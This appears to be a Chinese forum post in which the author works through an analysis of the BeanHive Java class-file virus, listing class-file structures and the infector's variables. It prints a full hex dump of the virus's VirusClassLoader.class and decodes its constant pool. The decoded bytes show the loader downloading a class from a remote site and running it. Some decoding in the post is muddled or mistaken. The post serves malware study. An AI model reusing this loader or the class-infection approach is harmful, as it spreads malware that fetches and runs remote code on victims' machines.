其中使用的有一个对象,也就是temp,所有的操作都在temp上进行。 试着解析constant_pool
constant_pool{
constant_pool_count
constant_pool_info
}
constant_pool_info{
tag
info[]
}
tag 意义如下:
CONSTANT_Class -- 7
CONSTANT_Fieldref -- 9
CONSTANT_Methodref -- 10
CONSTANT_InterfaceMethodref -- 11
CONSTANT_String -- 8
CONSTANT_Integer -- 3
CONSTANT_Float -- 4
CONSTANT_Long -- 5
CONSTANT_Double -- 6
CONSTANT_NameAndType -- 12
CONSTANT_Utf8 -- 1
此时cp_info分别对应结构变化为:
1. CONSTANT_Class
CONSTANT_Class_info{
u1 tag -- 7
u2 name_index
}
2. CONSTANT_Fieldref
CONSTANT_Fieldref_info{
u1 tag -- 9
u2 class_index
u2 name_and_type_index
}
3. CONSTANT_Methodref
CONSTANT_Methodref_info {
u1 tag; -- 10
u2 class_index;
u2 name_and_type_index;
}
4. CONSTANT_InterfaceMethodref
CONSTANT_InterfaceMethodref_info {
u1 tag; -- 11
u2 class_index;
u2 name_and_type_index;
}
5. CONSTANT_String
CONSTANT_String_info {
u1 tag; -- 8
u2 string_index;
}
6. CONSTANT_Integer
CONSTANT_Integer_info {
u1 tag; -- 3
u4 bytes;
}
7. CONSTANT_Float
CONSTANT_Float_info {
u1 tag; -- 4
u4 bytes;
}
8. CONSTANT_Long
CONSTANT_Long_info {
u1 tag; -- 5
u4 high_bytes;
u4 low_bytes;
}
9. CONSTANT_Double
CONSTANT_Double_info {
u1 tag; -- 6
u4 high_bytes;
u4 low_bytes
}
10.CONSTANT_NameAndType
CONSTANT_NameAndType_info {
u1 tag; -- 12
u2 name_index;
u2 descriptor_index;
}
11.CONSTANT_Utf8
CONSTANT_Utf8_info {
u1 tag; -- 1
u2 length;
u1 bytes[length];
}
定义: u1 1个字节为单位的非负值
u2 2个字节为单位的非负值
u3 . . . . . . . . (其他以此类推 )
解析a98b34f2作用:
1. 位置
a98b34f2出现的类文件:
e 中,e并将a作为参数传到b c d 中。
2. 类中方法作用
构造方法 传入的RandomAccessFile file对象构建一个对象。
seek() 找到a.fpointer位置,fpointer开始时是0,当被操作后就!=0了,那么也就不会定位到文件开始处了。
seek(int offset) 指针定位到offset的位置。fpointer的值转换为offset。
update(int offset) 指针由原来的位置向右推移offset位。这么fpointer的值也增加了。
methods 指明了类中的所有的方法。
Method_info{
u2 access_flags
u2 name_index //指向constant_pool的入口,对应为CONSTANT_Utf8_info
u2 descriptor_index //指向constant_pool的入口,对应为Co
u2 attribute_count
attribute_info attribute[attribute_count]
//此处只能出现Code,Exception,Synthetic,Deprecated四中类型的属性
}
access_flags访问权限描述如下:
ACC_PUBLIC 0x0001 ------- 1
ACC_PRIVATE 0x0002 ------- 2
ACC_PROTECTED 0x0004 ------- 4
ACC_STATIC 0x0008 ------- 8
ACC_FINAL 0x0010 ------- 10
ACC_SYNCHRONIZED 0x0020 ------- 32
ACC_NATIVE 0x0100 ------- 256
ACC_ABSTRACT 0x0400 ------- 1024
ACC_STRICT 0x0800 ------- 2048
显然以上的没用了。
对于类文件 d 的分析。。。。。。。。。 变量:
virus_code_length ---
virus_method[] ---
virus_e_table_length ---
old_code[] --- dc98e742的分析:
变量:
virus_code_length 追踪
virus_method
virus_e_table_length
old_code
方法:insert(int temp_m_count_pointer, int temp_m_count, int temp_m_pointer,
int delta_offset, RandomAccessFile temp, a98b34f2 ptr)
方法参数:
temp_m_count_pointer
temp_m_count
temp_m_pointer
delta_offset
temp
ptr
temp和ptr之间的关系
ptr是在temp的基础上创建。
temp: 程序的temp在Read 4位时,按照RandomAccessFile的规范temp的指针进乎?
####//////////////////////////##### readUnsignedShort
public final int readUnsignedShort()
throws IOException从此文件读取一个无符号的 16 位数。此方法从该文件的当前文件指针开始读取两个字节。如果按顺序读取的字节为 b1 和 b2,其中 0 <= b1, b2 <= 255,则结果将等于:
(b1 << 8) | b2
在读取了这两个字节、检测到流的末尾或者抛出异常前,此方法一直阻塞。 指定者:
接口 DataInput 中的 readUnsignedShort
返回:
此文件的下两个字节,解释为一个无符号的 16 位整数。 ####/////////////////////////#####
以上面的为例,这个方法说明了要读取16位也就是2个8 bits,但是没有说明要进位,所以它的下标不会向左或向右推进。
而ptr正是为了解决这个问题的。主要负责定位,将temp的下标定位到,将要被读取的字符的前一位。 对b的分析:
我的天哪,呵呵。那个contants_pool的count为94,我是说在VirusClassLoader.class中。但是在那里又怎么是95呢?
他是不是多了个什么信息?
很有可能。那是什么呢?寻找一下这VirusClassLoader.class中的信息。
进行分析一下。 CA FE BA BE 00 00 00 31 00 5E 08 00 27 08 00 28
0A 00 1D 00 29 07 00 2A 07 00 2B 07 00 2C 0A 00
06 00 2D 0A 00 06 00 2E 08 00 2F 0A 00 06 00 30
0A 00 05 00 31 0A 00 05 00 32 0A 00 33 00 34 0A
00 33 00 35 0A 00 36 00 37 0A 00 36 00 38 07 00
39 0A 00 04 00 2D 0A 00 1C 00 3A 07 00 3B 0A 00
14 00 2D 0A 00 1C 00 3C 0A 00 3D 00 3E 07 00 3F
0B 00 18 00 40 0A 00 1D 00 2D 0A 00 1C 00 41 07
00 42 07 00 43 01 00 09 6C 6F 61 64 43 6C 61 73
73 01 00 26 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
53 74 72 69 6E 67 3B 5A 29 4C 6A 61 76 61 2F 6C
61 6E 67 2F 43 6C 61 73 73 3B 01 00 04 43 6F 64
65 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61
62 6C 65 01 00 0A 45 78 63 65 70 74 69 6F 6E 73
01 00 06 3C 69 6E 69 74 3E 01 00 03 28 29 56 01
00 0A 53 6F 75 72 63 65 46 69 6C 65 01 00 15 56
69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72 2E
6A 61 76 61 01 00 1C 68 74 74 70 3A 2F 2F 77 77
77 2E 63 6F 64 65 62 72 65 61 6B 65 72 73 2E 6F
72 67 2F 01 00 08 42 65 61 6E 48 69 76 65 0C 00
44 00 45 01 00 20 6A 61 76 61 2F 6C 61 6E 67 2F
43 6C 61 73 73 4E 6F 74 46 6F 75 6E 64 45 78 63
65 70 74 69 6F 6E 01 00 0C 6A 61 76 61 2F 6E 65
74 2F 55 52 4C 01 00 17 6A 61 76 61 2F 6C 61 6E
67 2F 53 74 72 69 6E 67 42 75 69 6C 64 65 72 0C
00 23 00 24 0C 00 46 00 47 01 00 06 2E 63 6C 61
73 73 0C 00 48 00 49 0C 00 23 00 4A 0C 00 4B 00
4C 07 00 4D 0C 00 4E 00 4F 0C 00 50 00 51 07 00
52 0C 00 53 00 54 0C 00 55 00 24 01 00 13 6A 61
76 61 2F 6C 61 6E 67 2F 45 78 63 65 70 74 69 6F
6E 0C 00 56 00 57 01 00 1A 6A 61 76 61 2F 6C 61
6E 67 2F 43 6C 61 73 73 46 6F 72 6D 61 74 45 72
72 6F 72 0C 00 58 00 59 07 00 5A 0C 00 5B 00 5C
01 00 12 6A 61 76 61 2F 6C 61 6E 67 2F 52 75 6E
6E 61 62 6C 65 0C 00 5D 00 24 0C 00 1E 00 45 01
00 10 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64
65 72 01 00 15 6A 61 76 61 2F 6C 61 6E 67 2F 43
6C 61 73 73 4C 6F 61 64 65 72 01 00 0F 66 69 6E
64 53 79 73 74 65 6D 43 6C 61 73 73 01 00 25 28
4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E
67 3B 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C
61 73 73 3B 01 00 06 61 70 70 65 6E 64 01 00 2D
28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69
6E 67 3B 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53
74 72 69 6E 67 42 75 69 6C 64 65 72 3B 01 00 08
74 6F 53 74 72 69 6E 67 01 00 14 28 29 4C 6A 61
76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 01
00 15 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74
72 69 6E 67 3B 29 56 01 00 0E 6F 70 65 6E 43 6F
6E 62 65 63 74 69 6F 6E 01 00 1A 28 29 4C 6A 61
76 61 2F 6E 65 74 2F 55 52 4C 43 6F 6E 6E 65 63
74 69 6F 6E 3B 01 00 16 6A 61 76 61 2F 6E 65 74
2F 55 52 4C 43 6F 6E 6E 65 63 74 69 6F 6E 01 00
0E 67 65 74 49 6E 70 75 74 53 74 72 65 61 6D 01
00 17 28 29 4C 6A 61 76 61 2F 69 6F 2F 49 6E 70
75 74 53 74 72 65 61 6D 3B 01 00 10 67 65 74 43
6F 6E 74 65 6E 74 4C 65 6E 67 74 68 01 00 03 28
29 49 01 00 13 6A 61 76 61 2F 69 6F 2F 49 6E 70
75 74 53 74 72 65 61 6D 01 00 04 72 65 61 64 01
00 05 28 5B 42 29 49 01 00 05 63 6C 6F 73 65 01
00 0B 64 65 66 69 6E 65 43 6C 61 73 73 01 00 29
28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69
6E 67 3B 5B 42 49 49 29 4C 6A 61 76 61 2F 6C 61
6E 67 2F 43 6C 61 73 73 3B 01 00 0C 72 65 73 6F
6C 76 65 43 6C 61 73 73 01 00 14 28 4C 6A 61 76
61 2F 6C 61 6E 67 2F 43 6C 61 73 73 3B 29 56 01
00 0F 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73
73 01 00 0B 6E 65 77 49 6E 73 74 61 6E 63 65 01
00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 4F
62 6A 65 63 74 3B 01 00 03 72 75 6E 00 21 00 1C
00 1D 00 00 00 00 00 02 00 21 00 1E 00 1F 00 02
00 20 00 00 01 3E 00 05 00 0B 00 00 00 AE 01 3A
04 12 01 3A 05 12 02 3A 06 2A 2B B7 00 03 4E 2D
B0 3A 07 BB 00 05 59 BB 00 06 59 B7 00 07 19 05
B6 00 08 2B B6 00 08 12 09 B6 00 08 B6 00 0A B7
00 0B 3A 07 19 07 B6 00 0C 3A 08 19 08 B6 00 0D
3A 09 19 08 B6 00 0E 36 0A 15 0A BC 08 3A 04 19
09 19 04 B6 00 0F 57 19 09 B6 00 10 A7 00 05 3A
07 19 04 C7 00 0B BB 00 04 59 B7 00 12 BF 2A 2B
19 04 03 19 04 BE B6 00 13 4E 2D C7 00 0B BB 00
14 59 B7 00 15 BF 1C 99 00 08 2A 2D B6 00 16 2B
19 06 A6 00 18 2D B6 00 17 C0 00 18 3A 07 19 07
B9 00 19 01 00 A7 00 05 3A 07 2D B0 00 03 00 0B
00 12 00 13 00 04 00 15 00 5E 00 61 00 11 00 97
00 A7 00 AA 00 11 00 01 00 21 00 00 00 66 00 19
00 00 00 0C 00 03 00 0D 00 07 00 0E 00 0B 00 12
00 11 00 13 00 13 00 14 00 15 00 18 00 36 00 19
00 3D 00 1B 00 44 00 1C 00 4B 00 1E 00 51 00 1F
00 59 00 20 00 5E 00 22 00 63 00 24 00 68 00 25
00 70 00 29 00 7C 00 2A 00 80 00 2B 00 88 00 2F
00 91 00 31 00 97 00 35 00 A0 00 36 00 A7 00 37
00 AC 00 3C 00 22 00 00 00 04 00 01 00 04 00 01
00 23 00 24 00 02 00 20 00 00 00 2C 00 02 00 01
00 00 00 0C 2A B7 00 1A 2A 12 02 B6 00 1B 57 B1
00 00 00 01 00 21 00 00 00 0E 00 03 00 00 00 40
00 04 00 42 00 0B 00 44 00 22 00 00 00 04 00 01
00 04 00 01 00 25 00 00 00 02 00 26 对以上的数字进行分析:
(,)
(10,01)= 5e 是constant_pool_count 转化为十进制数字为94。那么就是说cp_count是94,那么这个数字类文件的数量就是93了。就是有93个是有效的了。
那就是到那个(07,07)这对不对呢?显然不对的。
那应该是什么呢?
应该是把这些给转化一下的。
001> 08 00 27 | 08 代表这个是字符串, 00 27 在cp中的index
002> 08 00 28 |
|||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_String |
| CONSTANT_String_info { |
| u1 tag; |
| u2 string_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||
003> 0A 00 1D 00 29 | 10 代表这个是Methodref $ 1D-29 29-41
|||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_Methodref |
| CONSTANT_Methodref_info { |
| u1 tag; |
| u2 class_index; |
| u2 name_and_type_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||
004> 07 00 2A |
|||||||||||||||||||||||||||||||||||||||||||||||||||
| CONSTANT_Class |
| CONSTANT_Class_info { |
| u1 tag; |
| u2 name_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||
005> 07 00 2b
006> 07 00 2c
007> 0A 00 06 00 2D
008> 0A 00 06 00 2E
009> 08 00 2F
010> 0A 00 06 00 30
011> 0A 00 05 00 31
012> 0A 00 05 00 32
013> 0A 00 33 00 34
014> 0A 00 33 00 35
015> 0A 00 36 00 37
016> 0A 00 36 00 38
017> 07 00 39
018> 0A 00 04 00 2D
019> 0A 00 1C 00 3A
020> 07 00 3B
021> 0A 00 14 00 2D
022> 0A 00 1c 00 3C
023> 0A 00 3D 00 3E
024> 07 00 3F
025> 0B 00 18 00 40 0B-11 InterfaceMethodref (05,08)
|||||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_InterfaceMethodref |
| CONSTANT_InterfaceMethodref_info { |
| u1 tag; |
| u2 class_index; |
| u2 name_and_type_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
026> 0A 00 1D 00 2D
027> 0A 00 1C 00 41
028> 07 00 42
029> 07 00 43
030> 01 00 09 6C 6F 61 64 43 6C 61 73 73 (01,10) Utf8
|||||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_Utf8 |
| CONSTANT_Utf8_info { |
| u1 tag; |
| u2 length; |
| u1 bytes[length]; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
031> 01 00 26 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B
5A 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73 73 3B (10,12)
$ 26-38
数字代表的字符串内容是:(Ljava/lang/String;Z)Ljava/lang/Class;
032> 01 00 04 43 6F 64 65
Code
033> 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65
LineNumberTable
034> 01 00 0A 45 78 63 65 70 74 69 6F 6E 73 (16,14)
Exceptions
035> 01 00 06 3C 69 6F 69 74 3E
<init>
036> 01 00 03 28 29 56 (15,15)
()V
037> 01 00 0A 53 6F 75 72 63 65 46 69 6C 65 (12,16)
SourceFile
038> 01 00 15 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72 2E 6A 61 76 61
(04,18)
VirusClassLoader.java
039> 01 00 1C 68 74 74 70 3A 2F 2F 77 77 77 2E 63 6F 64
65 62 72 65 61 6B 65 72 73 2E 6F 72 67 2F (03,20)
7b5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4G2k6r3g2T1M7X3g2S2K9$3g2J5M7#2)9J5k6h3!0J5k6#2)9J5c8R3`.`.
040> 01 00 08 42 65 61 6E 48 69 76 65
BeanHive (14,20)
041> 0C 00 44 00 45 (03,21)
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| CONSTANT_NameAndType |
| CONSTANT_NameAndType_info { |
| u1 tag; |
| u2 name_index; |
| u2 descriptor_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
我 是 个 天 才 !
042> 01 00 20 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61
73 73 4E 6F 74 46 6F 75 6E 64 45 78 63
65 70 74 69 6F 6E (06,23)
java/lang/ClassNotFoundException
043> 01 00 0C 6A 61 76 61 2F 6E 65 74 2F 55 52 4C (05,24)
java/net/URL
044> 01 00 17 6A 61 76 61 2F 6C 61 6E 67 2F 53 74
72 69 6E 67 42 75 69 6C 64 65 72 (15,25)
java/lang/StringBuilder
045> 0C 00 23 00 24
046> 0C 00 46 00 47
047> 01 00 06 2E 63 61 73 73 (02,27)
048> 0C 00 48 00 49
049> 0C 00 23 00 4A
050> 0C 00 4B 00 4C
051> 07 00 4D (04,28)
052> 0C (u4) (09,28)
053> 0C (u4) (14,28)
054> 07 (u2) (01,29)
055> 0C (u4) (06,29)
056> 0C (u4) (11,29)
057> 01 (u2 u19) (01,31)
058> 0C (u4) (06,31)
059> 01 (u2 u26) (03,33)
060> 0C (u4) (08,33)
061> 07 00 5A
062> 0C 00 5B 00 5C
063> 01 00 12 6A 61 76 61 2F 6C 61 6E 67 2F 52 75 6E 6E 61 62 6C 65
064> 0C 00 5D 00 24
065> 0C 00 1E 00 45
066> 01 00 10 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72
067> 01 00 15 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73 73 4C 6F 61 64 65 72
068> 01 00 0F 66 69 6E 64 53 79 73 74 65 6D 43 6C 61 73 73
069> 01 00 25 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53
74 72 69 6E 67 3B 29 4C 6A 61 76 61 2F
6C 61 6E 67 2F 43 6C 61 73 73 3B
070> 01 00 06 61 70 70 65 6E 64
071> 01 00 2D 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
53 74 72 69 6E 67 3B 29 4C 6A 61 76
61 2F 6C 61 6E 67 2F 53 74 72 69 6E
67 42 75 69 6C 64 65 72 3B
072> 01 00 08 74 6F 53 74 72 69 6E 67
073> 01 00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67
2F 53 74 72 69 6E 67 3B
074> 01 00 15 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
53 74 72 69 6E 67 3B 29 56
075> 01 00 0E 6F 70 65 6E 43 6F 6E 62 65 63 74 69
6F 6E
076> 01 00 1A 28 29 4C 6A 61 76 61 2F 6E 65 74 2F
55 52 4C 43 6F 6E 6E 65 63 74 69 6F
6E 3B
077> 01 00 16 6A 61 76 61 2F 6E 65 74 2F 55 52 4C
43 6F 6E 6E 65 63 74 69 6F 6E
078> 01 00 0E 67 65 74 49 6E 70 75 74 53 74 72 65
61 6D
079> 01 00 17 28 29 4C 6A 61 76 61 2F 69 6F 2F 49
6E 70 75 74 53 74 72 65 61 6D 3B
080> 01 00 10 67 65 74 43 6F 6E 74 65 6E 74 4C 65
6E 67 74 68
081> 01 00 03 28 29 49
082> 01 00 13 6A 61 76 61 2F 69 6F 2F 49 6E 70 75
74 53 74 72 65 61 6D
083> 01 00 04 72 65 61 64
084> 01 00 05 28 5B 42 29 49
085> 01 00 05 63 6C 6F 73 65
086> 01 00 0B 64 65 66 69 6E 65 43 6C 61 73 73
087> 01 00 29 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
53 74 72 69 6E 67 3B 5B 42 49 49 29
4C 6A 61 76 61 2F 6C 61 6E 67 2F 43
6C 61 73 73 3B
088> 01 00 0C 72 65 73 6F 6C 76 65 43 6C 61 73 73
089> 01 00 14 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43
6C 61 73 73 3B 29 56
090> 01 00 0F 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C
61 73 73
091> 01 00 0B 6E 65 77 49 6E 73 74 61 6E 63 65
092> 01 00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 4F
62 6A 65 63 74 3B
093> 01 00 03 72 75 6E
<Constant_Pool is over!>
<access_flags>
00 21
means: super & public
|||||||||||||||||||||||||||||||||||||||||||||||||
| access_flags意义如下: |
| |
| ACC_PUBLIC 0x0001 |
| ACC_FINAL 0x0010 |
| ACC_SUPER 0x0020 |
| ACC_INTERFACE 0x0200 |
| ACC_ABSTRACT 0x0400 |
|||||||||||||||||||||||||||||||||||||||||||||||||
<this_class>
00 1C
<super_class>
00 1D
<interfaces_count>
00 00
<interfaces_info>
00 00
<fields_count> u2
00 02 两个
<field_info[]>
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| field_info { |
| u2 access_flags; //访问控制权 |
| u2 name_index; //constant_pool中的索引,对应于CONSTANT_Utf8_info描述。 |
| u2 descriptor_index; //constant_pool中的索引,对应于CONSTANT_Utf8_info描述。 |
| u2 attributes_count; |
| attribute_info attributes[attributes_count]; //attribute_info将在mothods后描述。 |
| } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| |
| field_info中access_flages意义如下: |
| |
| ACC_PUBLIC 0x0001 |
| ACC_PRIVATE 0x0002 |
| ACC_PROTECTED 0x0004 |
| ACC_STATIC 0x0008 |
| ACC_FINAL 0x0010 |
| ACC_VOLATILE 0x0040 |
| ACC_TRANSIENT 0x0080 |
| |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||
第一个域:
00 21 (access_flags)
00 1E (name_index)
00 1F (descripttor_index)
00 02 (attribute_count)
第一域中的第一个属性:
00 20 (attribute_name_index)
00 00 01 3E (attribute_length) 01 3E -- 318
..........................
能力值:
( LV2,RANK:10 )
11 楼
............................
忽然发现他的确很厉害了,他把变量按照堆栈的方式存储起来了。。。。
然后插入方法。。调用。。呵呵,想到了。。。。。
CONSTANT
又想到了,好象应该是,其插入的应该是。。。。现在不能说了,因为这次应该是对了,虽然每次
都差一点都对了。但是这次应该对了。虚拟机了。虚拟机的结构,呵呵,还是写下来吧。。
接下来是学习虚拟机的结构,看看他插入的数据是什么块的,就好分析了。还有一点就是我
如何得到这些数据。。是个问题。如何得到不同的数据呢??
他应该是把数据直接插入到虚拟机中了,并插入到某一线程的数据区域中了。呵呵。。
并调用这一线程。
也有可能是由什么来着,Applet调用的这一线程。。对了。。Maybe!!
猜想那些数据的时候想到了,他应该是jvm之.class文件结构。上的内容。
一直以为我在飞速前进,现在我才明白我其实就是踯躅不前。现在才有了一点点进展。。
现在想到,他是把方法的编码插入,又将常量存储库插入。两者插入了就成了。
那方法调用呢?如何调用呢?
那应该是applet的问题了。。。。就是如此
那他是如何插入的呢,插入的是什么呢??
就要看到了。。我靠。。。。
e 是个总调度文件
c 插入感染性和一个异常实体
d 插入一个方法
b 插入一个常量存储库
插入的时候要看什么位置了
不是什么位置都能插入的关键是位置了
什么位置来着,,,
要看.class 文件的结构了
class文件的结构是什么来着,来着呢?
第一是 魔数占4个字节
第二是 主次版本也要占几个字节的来着。
接下来是常量池的长度和常量池/
第四是 访问控制,那访问控制有好多来着那怎么办呢,他是不是一个数组的形式呢?应该是吧!
第五和第六是thisclass 和superclass但是具体是什么意思我不太明白,。
第七是interface_count 和interfaces 前者是数量,后着保存着存储在常量池中的interface的索引。
第八fields_count和fields他们就是那个什么来着,是那个该类型声明的变量的总数,后面的是保存了不同
长度的变量的描述信息,fields_info表的序列。。。
第九 是什么来着。是那个methods_count 和methods和第八类似。。
那么d的内容插入的是什么地方呢??
想想,什么地方。。。。应该是第九的地方了,那他都插入什么数据呢??
一个方法中有什么呢?
有变量,常量,还有什么呢?应该没了吧!!应该是的。。。。。
一个方法的插入还有什么来着,。,
应该这么想
他把所有的变量都插入到那个变量池中,让后在方法的区域中可以调用了什么来着。确实这样的//
那访问权限怎么来着。。呢???
访问权限是这么来着的
访问权限呵呵呵呵访问权限他也插入到变量池中,然后就可以访问了,所有的数据都是在变量池中的其他的地方插入
的仅仅是引用了。。。那可以借助这个引用访问所要的数据了。。。我靠。。
那c 呢?c插入的是个异常了。异常是否也可以看成是一个方法呢?显然不行了。
或许要有其他的插入方式了呢。。。。
我靠
那他的测试感染性又怎么办呢???
我靠这么长时间了才分析到这个地方。。。。
我靠/。。。。....
关键还有读懂所需要的c中声明的变量的含义,含义,,,呵呵。呵呵。。。。
变量,,猜测了。。。。
boolean isValid = false;我靠,这个变量一看就知道是什么来着,看是否有效,废话,什么有效??是这
个文件已经感染了,还是这个文件是个合格的.class文件来着。。。不晓得了 。还有哪种猜测呢??
int temp_return_pointer = 0;
int temp_m_access_flags;
int temp_m_name_index;
int temp_m_attr_count;
int temp_m_attribute_name;
int temp_m_attribute_length = 0;
int temp_m_code_length;
int temp_e_table_length;
int temp_e_start_pc;
int temp_e_end_pc;
int temp_e_handler_pc;
int temp_attr_count;
int temp_attr_pointer;
int temp_attr_length;
int temp_deleted;
int temp_offset;
byte temp_tail[];
想想啊
temp_m 加个m是干什么的呢??
是为了区分?不是这么简单的。不是/。。。
是两个东西。对了一个是他妈的什么感染,另一个是异常了。。m 是否指代main方法???
看来不行,我必须将虚拟机的东西给看了,才行类。。才行类。。。。
now i write it for nothing to report ..
i just want to know what to do next!
what ???
然后将十六进制的文件再转化为10进制的文件。。。仅仅如此。。。测试一下。。。。
他是将java编译为class 文件然后又分析class (字节码)分析出字节码的各个区域的内容,
既有利于要插入的代码的实体的文件的分析,又有利于对将要被插入客户的class文件的分解,
方便插入,于是他必须将class文件的框架相当熟悉。。必须相当熟悉。。。。
work...... 字符传截取查看。: loadClass
(Ljava/lang/String;Z)Ljava/lang/Class;
Code
LineNumberTable
Exceptions
<init>
()V
SourceFile
VirusClassLoader.java
614K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4G2k6r3g2T1M7X3g2S2K9$3g2J5M7#2)9J5k6h3!0J5k6#2)9J5c8R3`.`.
BeanHive
D E..............
java/lang/ClassNotFoundException
java/net/URL
java/lang/StringBuilder
F G..............
class
H I..............
JKLMNOPQRSTU............
java/lang/Exception
VW................
java/lang/ClassFormatError
XY Z ...............
java/lang/Runnable
E...............
VirusClassLoader
java/lang/ClassLoader
findSystemClass
(Ljava/lang/String;)Ljava/lang/Class;
append
(Ljava/lang/String;)Ljava/lang/StringBuilder;
toString
()Ljava/lang/String;
(Ljava/lang/String;)V
openConnection
()Ljava/net/URLConnection;
getInputStream
()Ljava/io/InputStream;
getContentLength
()I
java/io/InputStream
read
([B)I
close
defineClass
)(Ljava/lang/String;[BII)Ljava/lang/Class;
resolveClass
(Ljava/lang/Class;)V
java/lang/Class
newInstance
()Ljava/lang/Object;
run
.! .......................
他妈的思维全都乱了,我靠,全都乱了。。。
但是,想想与人交流也是很不错了一种经历从中学到了很都的东西啊,很多。。。
我想都有好处,,,好处。。。。
测试完了,但是测试结果呢?/ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽
---------------------------------------------------------------------------------------------------- LineNumberTable
VirusClassLoader.java
D E..............
java/lang/StringBuilder
F G..............
H I..............
JKLMNOPQRSTU............
VW................
XY Z ...............
E...............
VirusClassLoader
(Ljava/lang/String;)Ljava/lang/StringBuilder;
run
.! ....................... 在我的测试中找不到的字符串:
(Ljava/lang/String;)Ljava/lang/StringBuffer; 可能就是文件中的(Ljava/lang/String;)Ljava/lang/StringBuilder;
编译时有了异常。。
(Ljava/lang/String;[BII)Ljava/lang/Class;的匹配问题是没有我的那个)号的.
已经测试到"Code"了,下来接着测试吧!!!!!!
找不到的字符传
LocalVariables
ConstantValue
Virus
BeanHive.java
java/lang/StringBuffer
java/net/URLConnection
而上面的就是多出的字符:
说明:
带长长的............的就是截取的时候不确定是否属于的字符传,现在看来是不属于该类了。
则剩下的就是
LineNumberTable
VirusClassLoader.java
java/lang/StringBuilder
VirusClassLoader
(Ljava/lang/String;)Ljava/lang/StringBuilder;
为什么会多出这几个和少了几个呢??
----------------------------------------------------------------------------------------------------
∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| 似乎毫无进展,(错了,进展不小类,至少确定了那是16进制的东西)也是的仅仅是想着有了进展其实什么进展都没有,,,
思维偏差了。。。。
但是如何是好呢??如何??
我不太清楚的 。。
继续了。。。。
分析,下一步就是:两个工作。。
一是将那些16进制的再转换成10进制的然后再比较一下,
二是什么呢?是那个再准确的理解那个什么结构,几位的问题。到底是进几位到底是进几位。。。
进多少位的问题。。。。
分析透了,奶奶的没有时间的情况下就没有分析清楚的时候。。呵呵。。就这么类。。。。。
那些数字的编码:
//--> constant_pool[1] CONSTANT_String
8, //08 //空
0, //00 //空格
61, //3d //=
//--> constant_pool[2] CONSTANT_String
8, //08
0, //00
63, //3f
//--> constant_pool[3] CONSTANT_String
8, //08
0, //00
77, //4d //M 有这么一块是07 00 4d(77) //4d
//--> constant_pool[4] CONSTANT_Class
7, //07
0, //00
69, //45 //E
//--> constant_pool[5] CONSTANT_Class
7, //07
0, //00
78, //4e //N
//--> constant_pool[6] CONSTANT_Class
7, //07
0, //00
79, //4f //O
//--> constant_pool[7] CONSTANT_Class
7, //07
0, //00
80, //50 //P
//--> constant_pool[8] CONSTANT_Class
7, //07
0, //00
81, //51 //Q 有这么一块但是顺序是 00 51(81) 07 00
//--> constant_pool[9] CONSTANT_Class
7, //07
0, //00
82, //52 //R
//--> constant_pool[10] CONSTANT_Class
7, //07
0, //00
83, //53 //S
//--> constant_pool[11] CONSTANT_Class
7, //07
0, //00
84, //54 //T
//--> constant_pool[12] CONSTANT_Class
7, //07
0, //00
85, //55 //U
//--> constant_pool[13] CONSTANT_Class
7, //07
0, //00
